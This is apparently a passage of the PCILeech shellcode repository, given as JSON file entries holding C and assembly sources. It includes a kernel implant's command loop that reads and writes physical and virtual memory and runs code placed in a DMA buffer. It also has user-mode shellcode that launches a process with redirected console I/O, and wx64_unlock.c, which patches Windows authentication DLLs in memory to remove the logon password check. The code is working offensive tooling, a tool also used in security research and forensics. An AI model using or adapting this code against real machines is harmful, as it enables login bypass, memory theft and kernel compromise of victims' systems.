H_MmAllocateContiguousMemory;\n\tNAMES[i++] = H_MmGetPhysicalAddress;\n\tNAMES[i++] = H_MmGetPhysicalMemoryRanges;\n\tNAMES[i++] = H_MmMapIoSpace;\n\tNAMES[i++] = H_MmUnmapIoSpace;\n\tNAMES[i++] = H_PsCreateSystemThread;\n\tNAMES[i++] = H_RtlCopyMemory;\n\tNAMES[i++] = H_ZwProtectVirtualMemory;\n\tNAMES[i++] = H_KeDelayExecutionThread;\n\twhile(i) {\n\t\ti--;\n\t\t*((PQWORD)&pk->fn + i) = PEGetProcAddressH(pk->AddrKernelBase, NAMES[i]);\n\t}\n\tstage3_c_MainCommandLoop(pk);\n}\n\n// ----------------------------- SHELLCODE FUNCTIONS BELOW (STAGE2 - THREAD START) -----------------------------\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n#define KMD_CMD_EXEC_EXTENDED\t8\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID stage3_c_MainCommandLoop(PKMDDATA pk)\n{\n\tLONGLONG llTimeToWait = -10000; // 1000 uS (negative multiples of 100ns)\n\tPVOID pvBufferOutDMA;\n\tPVOID pvMM = NULL;\n\tPPHYSICAL_MEMORY_RANGE pMemMap;\n\tQWORD i, idleCount = 0;\n\t// 1: set up mem out dma area 16MB//4MB in lower 4GB\n\tpk->DMASizeBuffer = 0x1000000;\n\tpvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x01000000, 0xffffffff);\n\tif(!pvBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0x00400000;\n\t\tpvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x00400000, 0xffffffff);\n\t}\n\tif(!pvBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0;\n\t\tpk->_status = 0xf0000001;\n\t\treturn;\n\t}\n\tpk->DMAAddrVirtual = (QWORD)pvBufferOutDMA;\n\tpk->DMAAddrPhysical = pk->fn.MmGetPhysicalAddress(pvBufferOutDMA);\n\t// 2: main dump loop\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tif(KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tidleCount++;\n\t\t\t// thread wait after X number of idle loops - TODO: change to timing\n\t\t\tif(idleCount > 10000000000) {\n\t\t\t\tpk->fn.KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait);\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif(KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tpk->fn.MmFreeContiguousMemory(pvBufferOutDMA);\n\t\t\tpk->DMAAddrPhysical = 0;\n\t\t\tpk->DMAAddrVirtual = 0;\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\tpMemMap = pk->fn.MmGetPhysicalMemoryRanges();\n\t\t\tif(pMemMap == NULL) {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t} else {\n\t\t\t\tfor(i = 0; (pMemMap[i].BaseAddress) || (pMemMap[i].NumberOfBytes.QuadPart); i++);\n\t\t\t\tpk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);\n\t\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, pMemMap, pk->_size);\n\t\t\t\tpk->fn.ExFreePool(pMemMap);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\t((VOID(*)(_In_ PKMDDATA pk, _In_ PQWORD dataIn, _Out_ PQWORD dataOut))pvBufferOutDMA)(pk, pk->dataIn, pk->dataOut);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE\n\t\t\tpvMM = pk->fn.MmMapIoSpace(pk->_address, pk->_size, 0);\n\t\t\tif(pvMM) {\n\t\t\t\tif(KMD_CMD_READ == pk->_op) { // READ\n\t\t\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, pvMM, pk->_size);\n\t\t\t\t} else { // WRITE\n\t\t\t\t\tpk->fn.RtlCopyMemory(pvMM, pvBufferOutDMA, pk->_size);\n\t\t\t\t}\n\t\t\t\tpk->fn.MmUnmapIoSpace(pvMM, pk->_size);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t} else {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address\n\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, (PVOID)pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address\n\t\t\tpk->fn.RtlCopyMemory((PVOID)pk->_address, pvBufferOutDMA, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\tidleCount = 0;\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_stage3_pre.asm",
    "content": "; wx64_stage3_pre.asm : assembly wait loop to wait for continue when executable code exists after\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nmain PROTO \n\n; -----------------------------------------------------------------------------\n; Code\n; -----------------------------------------------------------------------------\n.CODE\n\nmain PROC\n\tlabel_main_base:\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_base\nmain ENDP\n\n; -----------------------------------------------------------------------------\n; Compiles into:\n; 48 8D 05 F1 FF FF FF 48  8B 00 48 83 F8 00 74 F0\n; -----------------------------------------------------------------------------\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_umd_exec.asm",
    "content": "; wx64_umd_exec.asm : assembly to receive execution from initial hook in user-mode shellcode (umd).\n;\n; (c) Ulf Frisk, 2019\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS - MAX 3 PARAMS IN FNCALL\n\t;    OF HOOKED FUNCTION IS CURRENTLY SUPPORTED ...\n\t; ----------------------------------------------------\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tJMP main_continue\n\t; ----------------------------------------------------\n\t; 0: ADDRESS OF ORIGINAL CODE AND MAIN CONTEXT (IN RW SECTION)\n\t; ----------------------------------------------------\n\taddr_main_context\t\t\t\t\tdq 1111111111111111h\t; offset 0x08\n\taddr_orig_code\t\t\t\t\t\tdq 2222222222222222h\t; offset 0x10\n\t; ----------------------------------------------------\n\t; 2: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tmain_continue:\n\tPUSH rax\n\tMOV al, 00h\n\tMOV dl, 01h\n\tMOV rcx, [addr_main_context]\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 4: CALL MAIN SETUP CODE\n\t; ----------------------------------------------------\n\tMOV rcx, [addr_main_context]\n\tSUB rsp, 30h\n\tCALL c_EntryPoint\n\tADD rsp, 30h\n\t; ----------------------------------------------------\n\t; 5: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP rax\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tJMP [addr_orig_code]\nmain ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_umd_exec_c.c",
    "content": "// wx64_umd_exec_c.c : usermode 'umd' shellcode for PCILeech for starting and\n//                     and executing a process optionally with input redirect.\n//                     NB! this feature is still 'experimental'. \n//\n// (c) Ulf Frisk, 2019\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n/*\n\nCOMPILE WITH:\n\ncl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /c /TC wx64_umd_exec_c.c\nml64 wx64_umd_exec.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"wx64_umd_exec_c.obj\"\nshellcode64.exe -o wx64_umd_exec.exe\n\n*/\n#include <windows.h>\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\n\n/*\ntypedef struct tdUMD_EXEC_CONTEXT_LIMITED {\n    CHAR fCMPXCHG;\n    CHAR fEnableConsoleRedirect;            // config value set by pcileech\n    CHAR fThreadIsActive;;\n    CHAR fStatus;\n    DWORD dwFlagsCreateProcessA;            // config value set by pcileech\n    QWORD qwDEBUG;\n    QWORD pInfoIn;\n    QWORD pInfoOut;\n    HANDLE hInWrite;\n    HANDLE hOutRead;\n    HANDLE hOutWriteCP;\n    HANDLE hInReadCP;\n    HANDLE hProcessHandle;\n    struct {                                // config value set by pcileech\n        QWORD CloseHandle;\n        QWORD CreatePipe;\n        QWORD CreateProcessA;\n        QWORD CreateThread;\n        QWORD GetExitCodeProcess;\n        QWORD ReadFile;\n        QWORD Sleep;\n        QWORD WriteFile;\n        QWORD LocalAlloc;\n    } fn;\n    CHAR szProcToStart[MAX_PATH];           // config value set by pcileech\n} UMD_EXEC_CONTEXT_LIMITED, *PUMD_EXEC_CONTEXT_LIMITED;\n*/\n\n#define USERSHELL_BUFFER_IO_MAGIC       0x012651232dfef9521\n#define USERSHELL_BUFFER_IO_MAGIC_EXIT  0x0feda22001337daac\n#define USERSHELL_BUFFER_IO_SIZE        0x800\ntypedef struct tUSERSHELLBUFFERIO {\n    QWORD qwMagic;\n    QWORD cbRead;\n    QWORD cbReadAck;\n    QWORD qwDebug[10];\n    BYTE  pb[];\n} USERSHELL_BUFFER_IO, *PUSERSHELL_BUFFER_IO;\n\ntypedef struct tdUMD_EXEC_CONTEXT_HANDLES {\n    HANDLE hInWrite;\n    HANDLE hOutRead;\n    HANDLE hOutWriteCP;\n    HANDLE hInReadCP;\n} UMD_EXEC_CONTEXT_HANDLES, *PUMD_EXEC_CONTEXT_HANDLES;\n\ntypedef struct tdUMD_EXEC_CONTEXT_FULL {\n    CHAR fCMPXCHG;\n    CHAR fEnableConsoleRedirect;            // config value set by pcileech\n    CHAR fThreadIsActive;\n    CHAR fStatus;\n    DWORD dwFlagsCreateProcessA;            // config value set by pcileech\n    QWORD qwDEBUG;\n    PUSERSHELL_BUFFER_IO pInfoIn;\n    PUSERSHELL_BUFFER_IO pInfoOut;\n    HANDLE hInWrite;\n    HANDLE hOutRead;\n    HANDLE hOutWriteCP;\n    HANDLE hInReadCP;\n    HANDLE hProcessHandle;\n    struct {                                // config value set by pcileech\n        BOOL(*CloseHandle)(\n            HANDLE hObject\n            );\n        BOOL(*CreatePipe)(\n            _Out_    PHANDLE               hReadPipe,\n            _Out_    PHANDLE               hWritePipe,\n            _In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,\n            _In_     DWORD                 nSize\n            );\n        BOOL(*CreateProcessA)(\n            LPCSTR                lpApplicationName,\n            LPSTR                 lpCommandLine,\n            LPSECURITY_ATTRIBUTES lpProcessAttributes,\n            LPSECURITY_ATTRIBUTES lpThreadAttributes,\n            BOOL                  bInheritHandles,\n            DWORD                 dwCreationFlags,\n            LPVOID                lpEnvironment,\n            LPCSTR                lpCurrentDirectory,\n            LPSTARTUPINFOA        lpStartupInfo,\n            LPPROCESS_INFORMATION lpProcessInformation\n            );\n        HANDLE(*CreateThread)(\n            LPSECURITY_ATTRIBUTES   lpThreadAttributes,\n            SIZE_T                  dwStackSize,\n            LPTHREAD_START_ROUTINE  lpStartAddress,\n            __drv_aliasesMem LPVOID lpParameter,\n            DWORD                   dwCreationFlags,\n            LPDWORD                 lpThreadId\n            );\n        BOOL(*GetExitCodeProcess)(\n            HANDLE  hProcess,\n            LPDWORD lpExitCode\n            );\n        BOOL(*ReadFile)(\n            HANDLE       hFile,\n            LPVOID       lpBuffer,\n            DWORD        nNumberOfBytesToRead,\n            LPDWORD      lpNumberOfBytesRead,\n            LPOVERLAPPED lpOverlapped\n            );\n        void(*Sleep)(\n            DWORD dwMilliseconds\n            );\n        BOOL(*WriteFile)(\n            HANDLE       hFile,\n            LPCVOID      lpBuffer,\n            DWORD        nNumberOfBytesToWrite,\n            LPDWORD      lpNumberOfBytesWritten,\n            LPOVERLAPPED lpOverlapped\n            );\n        HLOCAL(*LocalAlloc)(\n            UINT   uFlags,\n            SIZE_T uBytes\n            );\n    } fn;\n    CHAR szProcToStart[MAX_PATH];           // config value set by pcileech\n} UMD_EXEC_CONTEXT_FULL, *PUMD_EXEC_CONTEXT_FULL;\n\nBOOL UserShellIsProcessRunning(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    DWORD dwExit;\n    return ctx->fn.GetExitCodeProcess(ctx->hProcessHandle, &dwExit) && (dwExit == STILL_ACTIVE);\n}\n\nVOID UserShellCleanup(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    ctx->pInfoOut->qwMagic = 0;\n    if(ctx->fThreadIsActive) {\n        ctx->fThreadIsActive = 0;\n        ctx->fn.CloseHandle(ctx->hOutRead);\n        ctx->fn.CloseHandle(ctx->hInWrite);\n        ctx->fn.CloseHandle(ctx->hOutWriteCP);\n        ctx->fn.CloseHandle(ctx->hInReadCP);\n    }\n    ctx->pInfoIn->qwMagic = USERSHELL_BUFFER_IO_MAGIC_EXIT;\n    ctx->pInfoOut->qwMagic = USERSHELL_BUFFER_IO_MAGIC_EXIT;\n}\n\n/*\n* Execute binary specified in configuration\n*/\ninline BOOL UserShellExec(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    LPSTARTUPINFO psi = ctx->fn.LocalAlloc(LMEM_ZEROINIT, sizeof(STARTUPINFO));\n    //STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n    // set up data\n    psi->cb = sizeof(STARTUPINFO);\n    psi->dwFlags = STARTF_USESTDHANDLES;\n    if(ctx->fEnableConsoleRedirect) {\n        psi->hStdOutput = ctx->hOutWriteCP;\n        psi->hStdInput = ctx->hInReadCP;\n        psi->hStdError = ctx->hOutWriteCP;\n    }\n    // launch executable\n    if(!ctx->fn.CreateProcessA(NULL, ctx->szProcToStart, NULL, NULL, TRUE, ctx->dwFlagsCreateProcessA, NULL, NULL, psi, &pi)) {\n        return FALSE;\n    }\n    ctx->hProcessHandle = pi.hProcess;\n    if(ctx->fEnableConsoleRedirect) {\n        ctx->fn.CloseHandle(pi.hThread);\n    }\n    return TRUE;\n}\n\n// in buffer -> child process\nVOID UserShellThreadWriter(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    DWORD cbWrite, cbModulo, cbModuloAck;\n    while(ctx->fThreadIsActive && UserShellIsProcessRunning(ctx)) {\n        if(ctx->pInfoIn->cbRead == ctx->pInfoOut->cbReadAck) {\n            ctx->fn.Sleep(10);\n            continue;\n        }\n        cbModulo = ctx->pInfoIn->cbRead % USERSHELL_BUFFER_IO_SIZE;\n        cbModuloAck = ctx->pInfoOut->cbReadAck % USERSHELL_BUFFER_IO_SIZE;\n        if(cbModuloAck < cbModulo) {\n            if(!ctx->fn.WriteFile(ctx->hInWrite, ctx->pInfoIn->pb + cbModuloAck, cbModulo - cbModuloAck, &cbWrite, NULL)) {\n                break;\n            }\n        } else {\n            if(!ctx->fn.WriteFile(ctx->hInWrite, ctx->pInfoIn->pb + cbModuloAck, USERSHELL_BUFFER_IO_SIZE - cbModuloAck, &cbWrite, NULL)) {\n                break;\n            }\n        }\n        ctx->pInfoOut->cbReadAck += cbWrite;\n    }\n    UserShellCleanup(ctx);\n}\n\n// child process -> out buffer\nVOID UserShellThreadReader(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    DWORD cbRead, cbModulo, cbModuloAck;\n    while(ctx->fThreadIsActive && UserShellIsProcessRunning(ctx)) {\n        cbModulo = ctx->pInfoOut->cbRead % USERSHELL_BUFFER_IO_SIZE;\n        cbModuloAck = ctx->pInfoIn->cbReadAck % USERSHELL_BUFFER_IO_SIZE;\n        if(cbModuloAck <= cbModulo) {\n            if(!ctx->fn.ReadFile(ctx->hOutRead, ctx->pInfoOut->pb + cbModulo, USERSHELL_BUFFER_IO_SIZE - cbModulo, &cbRead, NULL)) {\n                break;\n            }\n        } else {\n            if(!ctx->fn.ReadFile(ctx->hOutRead, ctx->pInfoOut->pb + cbModulo, cbModuloAck - cbModuloAck, &cbRead, NULL)) {\n                break;\n            }\n        }\n        ctx->pInfoOut->cbRead += cbRead;\n        while(((ctx->pInfoOut->cbRead - ctx->pInfoIn->cbReadAck) >= USERSHELL_BUFFER_IO_SIZE) && ctx->fThreadIsActive && UserShellIsProcessRunning(ctx)) {\n            ctx->fn.Sleep(10);\n        }\n    }\n    UserShellCleanup(ctx);\n}\n\nVOID c_EntryPoint(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    SECURITY_ATTRIBUTES sa;\n    if(!ctx->fn.CloseHandle) { return; } // no function addresses -> invalid context!\n    // Intialize console redirection #1/2\n    if(ctx->fEnableConsoleRedirect) {\n        sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n        sa.lpSecurityDescriptor = NULL;\n        sa.bInheritHandle = TRUE;\n        ctx->pInfoIn = (PUSERSHELL_BUFFER_IO)ctx->fn.LocalAlloc(LMEM_ZEROINIT, 0x2000);\n        ctx->pInfoOut = (PUSERSHELL_BUFFER_IO)(0x1000 + (QWORD)ctx->pInfoIn);\n        ctx->pInfoIn->qwMagic = USERSHELL_BUFFER_IO_MAGIC;\n        ctx->pInfoOut->qwMagic = USERSHELL_BUFFER_IO_MAGIC;\n        ctx->fn.CreatePipe(&ctx->hInReadCP, &ctx->hInWrite, &sa, 0x800);\n        ctx->fn.CreatePipe(&ctx->hOutRead, &ctx->hOutWriteCP, &sa, 0x800);\n        ctx->fThreadIsActive = 1;\n    }\n    // create process\n    if(!UserShellExec(ctx)) {\n        UserShellCleanup(ctx);\n        ctx->fStatus = 0xff;\n        return;\n    }\n    // Initalize console redirection #2/2\n    if(ctx->fEnableConsoleRedirect) {\n        ctx->fn.CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&UserShellThreadWriter, ctx, 0, NULL);\n        ctx->fn.CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&UserShellThreadReader, ctx, 0, NULL);\n    }\n    ctx->fStatus = 0xff;\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_unlock.c",
    "content": "// wx64_unlock.c : kernel code to remove the password requirement when logging on to Windows.\n//\n// (c) Ulf Frisk, 2016-2020\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with (normal mode):\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_unlock.c\n// ml64.exe wx64_common_a.asm /Fewx64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_unlock.obj wx64_common.obj\n// shellcode64.exe -o wx64_unlock.exe \"WINDOWS UNLOCKER - REMOVE PASSWORD REQUIREMENT!                \\n===============================================================\\nREQUIRED OPTIONS:                                              \\n  -0   : Set to one (1) in order to unlock.                    \\n         Example: '-0 1'.                                      \\n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) =================%s\\nNTSTATUS        : 0x%08X  \\n===============================================================\\n\"\n//\n// compile with (standalone [8051] mode):\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_unlock.c\n// ml64.exe wx64_unlock_standalone.asm /Fewx64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_unlock.obj wx64_common.obj\n// shellcode64.exe -o wx64_unlock.exe \"DUMMY\"\n//\n#include \"wx64_common.h\"\n\n// ----------------------------- KERNEL DEFINES AND TYPEDEFS BELOW -----------------------------\n\ntypedef __int64\t\t\t\t\tPHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\n\ntypedef struct _PHYSICAL_MEMORY_RANGE {\n\tQWORD BaseAddress;\n\tQWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\n#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */\ntypedef struct _IDT_DESCRIPTOR {\n\tDWORD dwOpaque1;\n\tQWORD qwAddressISR;\n\tDWORD dwOpaque2;\n} IDT_DESCRIPTOR, *PIDT_DESCRIPTOR;\n\ntypedef struct _IDTR {\n\tWORD nBytes;\n\tPIDT_DESCRIPTOR pIDT_DESCRIPTOR;\n} IDTR, *PIDTR;\n#pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */\n\n//----------------------------------------------------------------------------------------------------------\n\n#undef RtlCompareMemory\n#undef RtlCopyMemory\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\tVOID(*ExFreePool)(\n\t\t_In_ PVOID P);\n\tPHYSICAL_ADDRESS(*MmGetPhysicalAddress)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPPHYSICAL_MEMORY_RANGE(*MmGetPhysicalMemoryRanges)(\n\t\tVOID\n\t\t);\n\tPVOID(*MmMapIoSpace)(\n\t\t_In_  PHYSICAL_ADDRESS    PhysicalAddress,\n\t\t_In_  SIZE_T              NumberOfBytes,\n\t\t_In_  MEMORY_CACHING_TYPE CacheType\n\t\t);\n\tVOID(*MmUnmapIoSpace)(\n\t\t_In_  PVOID  BaseAddress,\n\t\t_In_  SIZE_T NumberOfBytes\n\t\t);\n\tSIZE_T(*RtlCompareMemory)(\n\t\t_In_ const VOID   *Source1,\n\t\t_In_ const VOID   *Source2,\n\t\t_In_       SIZE_T Length\n\t\t);\n\tVOID(*RtlCopyMemory)(\n\t\t_Out_ VOID UNALIGNED *Destination,\n\t\t_In_ const VOID UNALIGNED *Source,\n\t\t_In_ SIZE_T Length\n\t\t);\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tQWORD FUNC2[][2] = {\n\t\t{ &fnk2->ExFreePool,\t\t\t\t\t\t\tH_ExFreePool },\n\t\t{ &fnk2->MmGetPhysicalAddress,\t\t\t\t\tH_MmGetPhysicalAddress },\n\t\t{ &fnk2->MmGetPhysicalMemoryRanges,\t\t\t\tH_MmGetPhysicalMemoryRanges },\n\t\t{ &fnk2->MmMapIoSpace,\t\t\t\t\t\t\tH_MmMapIoSpace },\n\t\t{ &fnk2->MmUnmapIoSpace,\t\t\t\t\t\tH_MmUnmapIoSpace },\n\t\t{ &fnk2->RtlCompareMemory,\t\t\t\t\t\tH_RtlCompareMemory },\n\t\t{ &fnk2->RtlCopyMemory,\t\t\t\t\t\t\tH_RtlCopyMemory }\n\t};\n\tfor(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) {\n\t\t*(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]);\n\t}\n}\n\n//----------------------------------------------------------------------------------------------------------\n\ntypedef struct tdSignatureChunk {\n\tWORD cbOffset;\n\tBYTE cb;\n\tBYTE pb[20];\n} SIGNATURE_CHUNK, *PSIGNATURE_CHUNK;\n\ntypedef struct tdSignature {\n\t// in unlock mode: \n\t//   chunk[0] = signature chunk 1 (required) \n\t//   chunk[1] = signature chunk 2 (optional)\n\t//   chunk[2] = patch chunk (required)\n\tSIGNATURE_CHUNK chunk[3];\n} SIGNATURE, *PSIGNATURE;\n\n//----------------------------------------------------------------------------------------------------------\n\nNTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ PSIGNATURE pSignatures, _In_ DWORD cSignatures)\n{\n\tPBYTE pb;\n\tDWORD pgIdx, i;\n\tPSIGNATURE ps;\n\tfor(pgIdx = 0; pgIdx < cPages; pgIdx++) {\n\t\tpb = pbPages + (4096 * pgIdx);\n\t\tfor(i = 0; i < cSignatures; i++) {\n\t\t\tps = pSignatures + i;\n\t\t\tif(!ps->chunk[0].cb || (ps->chunk[0].cb != fnk2->RtlCompareMemory(pb + ps->chunk[0].cbOffset, ps->chunk[0].pb, ps->chunk[0].cb))) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif(ps->chunk[1].cb && (ps->chunk[1].cb != fnk2->RtlCompareMemory(pb + ps->chunk[1].cbOffset, ps->chunk[1].pb, ps->chunk[1].cb))) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfnk2->RtlCopyMemory(pb + ps->chunk[2].cbOffset, ps->chunk[2].pb, ps->chunk[2].cb);\n\t\t\treturn S_OK;\n\t\t}\n\t}\n\treturn E_FAIL;\n}\n\n#define NUMBER_OF_SIGNATURES 35\nNTSTATUS Unlock(_In_ QWORD qwAddrNtosBase)\n{\n\tSIGNATURE oSigs[] = {\n\t\t// win8.1x64 msv1_0.dll (2014-10-29)\n\t\t{ .chunk = {\n\t\t\t{ .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0x42, 0xA4 } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0x46, 0x88 } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// win8.1x64 msv1_0.dll (2015-10-30)\n\t\t{ .chunk = {\n\t\t\t{ .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0xC2, 0x07 } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0xCE, 0xBC } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// win8.1x64 msv1_0.dll (2016-03-16)\n\t\t{ .chunk = {\n\t\t\t{ .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0x22, 0x04 } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0xB2, 0xB9 } },\n\t\t\t{ .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// AUTO-GENERATED SIGNATURES BELOW:\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x5DC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x4B, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x5E8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x5E8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x65C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xCB, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x668,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x668,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x66C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xBB, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x678,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x678,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.10586.0 / 2015-10-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x62C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB3, 0x1B, 0x00, 0x00 } 